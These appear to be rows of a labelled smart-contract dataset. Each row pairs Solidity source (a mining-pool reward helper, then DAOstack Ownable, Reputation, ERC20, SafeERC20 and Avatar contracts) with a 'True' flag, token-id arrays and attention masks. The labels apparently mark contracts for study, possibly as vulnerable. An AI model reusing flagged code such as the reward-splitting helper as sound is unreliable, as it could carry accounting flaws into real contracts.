uint256 minCurrentBlock = maxMinerBlock > block.number ? block.number : maxMinerBlock;
if(minCurrentBlock <= genesisEndBlock){
genesisBlocknum = minCurrentBlock.sub(pool.lastRewardBlock);
}else if(pool.lastRewardBlock >= genesisEndBlock){
// when genesisEndBlock end, start halve logic
uint256 expectHalveBlock = lastHalveBlock.add(halveBlockNum);
if(minCurrentBlock <= expectHalveBlock){
beforeBlocknum = minCurrentBlock.sub(pool.lastRewardBlock);
}else if(pool.lastRewardBlock >= expectHalveBlock){
//distance next halve
beforeBlocknum = minCurrentBlock.sub(pool.lastRewardBlock);
}else{
beforeBlocknum = expectHalveBlock.sub(pool.lastRewardBlock);
afterBlocknum = minCurrentBlock.sub(expectHalveBlock);
}
}else{
genesisBlocknum = genesisEndBlock.sub(pool.lastRewardBlock);
beforeBlocknum = minCurrentBlock.sub(genesisEndBlock);
}
}
function _assignPoolReward(uint256 genesisPoolReward, uint256 productionPoolReward) internal view returns(
uint256 devTokenNum,
uint256 lpStakeTokenNum
) {
if(genesisPoolReward > 0){
// genesis period ratio 10 90 update
devTokenNum = devTokenNum.add(genesisPoolReward.mul(10).div(100));
lpStakeTokenNum = lpStakeTokenNum.add(genesisPoolReward.sub(devTokenNum));
}
if(productionPoolReward > 0){
// Production period ratio 10 90
devTokenNum = devTokenNum.add(productionPoolReward.mul(10).div(100));
lpStakeTokenNum = lpStakeTokenNum.add(productionPoolReward.sub(devTokenNum));
}
}
} | True | [
101,
1013,
1013,
5371,
1024,
1030,
2330,
4371,
27877,
2378,
1013,
8311,
1013,
19204,
1013,
9413,
2278,
11387,
1013,
29464,
11890,
11387,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1016,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
3079,
2011,
1036,
4070,
1036,
1012,
1008,
1013,
3853,
5703,
11253,
1006,
4769,
4070,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1996,
20587,
1005,
1055,
4070,
2000,
1036,
7799,
1036,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
1065,
2724,
1012,
1008,
1013,
3853,
4651,
1006,
4769,
7799,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3588,
2193,
1997,
19204,
2015,
2008,
1036,
5247,
2121,
1036,
2097,
2022,
1008,
3039,
2000,
5247,
2006,
6852,
1997,
1036,
3954,
1036,
2083,
1063,
4651,
19699,
5358,
1065,
1012,
2023,
2003,
1008,
5717,
2011,
12398,
1012,
1008,
1008,
2023,
3643,
3431,
2043,
1063,
14300,
1065,
2030,
1063,
4651,
19699,
5358,
1065,
2024,
2170,
1012,
1008,
1013,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
5247,
2121,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
4520,
1036,
3815,
1036,
2004,
1996,
21447,
1997,
1036,
5247,
2121,
1036,
2058,
1996,
20587,
1005,
1055,
19204,
2015,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
2590,
1024,
2022,
8059,
2008,
5278,
2019,
21447,
2007,
2023,
4118,
7545,
1996,
3891,
1008,
2008,
2619,
2089,
2224,
2119,
1996,
2214,
1998,
1996,
2047,
21447,
2011,
15140,
1008,
12598,
13063,
1012,
2028,
2825,
5576,
2000,
10210,
28731,
2023,
2679,
1008,
4650,
2003,
2000,
2034,
5547,
1996,
5247,
2121,
1005,
1055,
21447,
2000,
1014,
1998,
2275,
1996,
1008,
9059,
3643,
5728,
1024,
1008,
16770,
1024,
1013,
1013,
21025,
2705,
12083,
1012,
4012,
1013,
28855,
14820,
1013,
1041,
11514,
2015,
1013,
3314,
1013,
2322,
1001,
3277,
9006,
3672,
1011,
25246,
25746,
22610,
24594,
1008,
1008,
12495,
3215,
2019,
1063,
6226,
1065,
2724,
1012,
1008,
1013,
3853,
14300,
1006,
4769,
5247,
2121,
1010,
21318,
3372,
17788,
2575,
3815,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
5829,
1036,
3815,
1036,
19204,
2015,
2013,
1036,
4604,
2121,
1036,
2000,
1036,
7799,
1036,
2478,
1996,
1008,
21447,
7337,
1012,
1036,
3815,
1036,
2003,
2059,
2139,
29510,
2013,
1996,
20587,
1005,
1055,
1008,
21447,
1012,
1008,
1008,
5651,
1037,
22017,
20898,
3643,
8131,
3251,
1996,
3169,
4594,
1012,
1008,
1008,
12495,
3215,
1037,
1063,
4651,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-10-06
*/
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @daostack/infra/contracts/Reputation.sol
pragma solidity ^0.5.4;
/**
* @title Reputation system
* @dev A DAO has Reputation System which allows peers to rate other peers in order to build trust .
* A reputation is use to assign influence measure to a DAO'S peers.
* Reputation is similar to regular tokens but with one crucial difference: It is non-transferable.
* The Reputation contract maintain a map of address to reputation value.
* It provides an onlyOwner functions to mint and burn reputation _to (or _from) a specific address.
*/
contract Reputation is Ownable {
uint8 public decimals = 18; //Number of decimals of the smallest unit
// Event indicating minting of reputation to an address.
event Mint(address indexed _to, uint256 _amount);
// Event indicating burning of reputation for an address.
event Burn(address indexed _from, uint256 _amount);
/// @dev `Checkpoint` is the structure that attaches a block number to a
/// given value, the block number attached is the one that last changed the
/// value
struct Checkpoint {
// `fromBlock` is the block number that the value was generated from
uint128 fromBlock;
// `value` is the amount of reputation at a specific block number
uint128 value;
}
// `balances` is the map that tracks the balance of each address, in this
// contract when the balance changes the block number that the change
// occurred is also included in the map
mapping (address => Checkpoint[]) balances;
// Tracks the history of the `totalSupply` of the reputation
Checkpoint[] totalSupplyHistory;
/// @notice Constructor to create a Reputation
constructor(
) public
{
}
/// @dev This function makes it easy to get the total number of reputation
/// @return The total number of reputation
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
////////////////
// Query balance and totalSupply in History
////////////////
/**
* @dev return the reputation amount of a given owner
* @param _owner an address of the owner which we want to get his reputation
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
/// @dev Queries the balance of `_owner` at a specific `_blockNumber`
/// @param _owner The address from which the balance will be retrieved
/// @param _blockNumber The block number when the balance is queried
/// @return The balance at `_blockNumber`
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
// This will return the expected balance during normal situations
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
/// @notice Total amount of reputation at a specific `_blockNumber`.
/// @param _blockNumber The block number when the totalSupply is queried
/// @return The total amount of reputation at `_blockNumber`
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
// This will return the expected totalSupply during normal situations
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
/// @notice Generates `_amount` reputation that are assigned to `_owner`
/// @param _user The address that will be assigned the new reputation
/// @param _amount The quantity of reputation generated
/// @return True if the reputation are generated correctly
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply); // Check for overflow
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo); // Check for overflow
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
/// @notice Burns `_amount` reputation from `_owner`
/// @param _user The address that will lose the reputation
/// @param _amount The quantity of reputation to burn
/// @return True if the reputation are burned correctly
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
////////////////
// Internal helper functions to query and set a value in a snapshot array
////////////////
/// @dev `getValueAt` retrieves the number of reputation at a given block number
/// @param checkpoints The history of values being queried
/// @param _block The block number to retrieve the value at
/// @return The number of reputation being queried
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
// Shortcut for the actual value
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
// Binary search of the value in the array
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
/// @dev `updateValueAtNow` used to update the `balances` map and the
/// `totalSupplyHistory`
/// @param checkpoints The history of data being updated
/// @param _value The new number of reputation
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value); //check value is in the 128 bits bounderies
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.5.0;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol
pragma solidity ^0.5.0;
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Burns a specific amount of tokens.
* @param value The amount of token to be burned.
*/
function burn(uint256 value) public {
_burn(msg.sender, value);
}
/**
* @dev Burns a specific amount of tokens from the target address and decrements allowance
* @param from address The address which you want to send tokens from
* @param value uint256 The amount of token to be burned
*/
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
// File: @daostack/arc/contracts/controller/DAOToken.sol
pragma solidity ^0.5.4;
/**
* @title DAOToken, base on zeppelin contract.
* @dev ERC20 compatible token. It is a mintable, burnable token.
*/
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
// solhint-disable-next-line const-name-snakecase
uint8 public constant decimals = 18;
uint256 public cap;
/**
* @dev Constructor
* @param _name - token name
* @param _symbol - token symbol
* @param _cap - token cap - 0 value means no cap
*/
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
*/
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
// File: openzeppelin-solidity/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* Utility library of inline functions on addresses
*/
library Address {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @daostack/arc/contracts/libs/SafeERC20.sol
/*
SafeERC20 by daostack.
The code is based on a fix by SECBIT Team.
USE WITH CAUTION & NO WARRANTY
REFERENCE & RELATED READING
- https://github.com/ethereum/solidity/issues/4116
- https://medium.com/@chris_77367/explaining-unexpected-reverts-starting-with-solidity-0-4-22-3ada6e82308c
- https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
- https://gist.github.com/BrendanChou/88a2eeb80947ff00bcf58ffdafeaeb61
*/
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
// Must be a contract addr first!
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
// solhint-disable-next-line avoid-low-level-calls
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
// call return false when something wrong
require(success);
//check return value
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
// Must be a contract addr first!
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
// solhint-disable-next-line avoid-low-level-calls
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
// call return false when something wrong
require(success);
//check return value
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
// Must be a contract addr first!
require(_erc20Addr.isContract());
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero.
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
// solhint-disable-next-line avoid-low-level-calls
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
// call return false when something wrong
require(success);
//check return value
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
// File: @daostack/arc/contracts/controller/Avatar.sol
pragma solidity ^0.5.4;
/**
* @title An Avatar holds tokens, reputation and ether for a controller
*/
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
/**
* @dev the constructor takes organization name, native token and reputation system
and creates an avatar for a controller
*/
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
/**
* @dev enables an avatar to receive ethers
*/
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
/**
* @dev perform a generic call to an arbitrary contract
* @param _contract the contract's address to call
* @param _data ABI-encoded contract call to call `_contract` address.
* @param _value value (ETH) to transfer with the transaction
* @return bool success or fail
* bytes - the return bytes of the called contract's function.
*/
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
// solhint-disable-next-line avoid-call-value
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
/**
* @dev send ethers from the avatar's wallet
* @param _amountInWei amount to send in Wei units
* @param _to send the ethers to this address
* @return bool which represents success
*/
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
/**
* @dev external token transfer
* @param _externalToken the token contract
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
/**
* @dev external token transfer from a specific account
* @param _externalToken the token contract
* @param _from the account to spend token from
* @param _to the destination address
* @param _value the amount of tokens to transfer
* @return bool which represents success
*/
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
/**
* @dev externalTokenApproval approve the spender address to spend a specified amount of tokens
* on behalf of msg.sender.
* @param _externalToken the address of the Token Contract
* @param _spender address
* @param _value the amount of ether (in Wei) which the approval is referring to.
* @return bool which represents a success
*/
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
/**
* @dev metaData emits an event with a string, should contain the hash of some meta data.
* @param _metaData a string representing a hash of the meta data
* @return bool which represents a success
*/
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
2184,
1011,
5757,
1008,
1013,
1013,
1013,
5371,
1024,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
8311,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1013,
3206,
2219,
3085,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
4722,
1063,
1035,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
1035,
3954,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2709,
1996,
4769,
1997,
1996,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
11163,
7962,
2121,
1006,
1007,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2709,
2995,
2065,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
2003,
1996,
3954,
1997,
1996,
3206,
1012,
1008,
1013,
3853,
11163,
7962,
2121,
1006,
1007,
2270,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
1035,
3954,
1025,
1065,
1013,
1008,
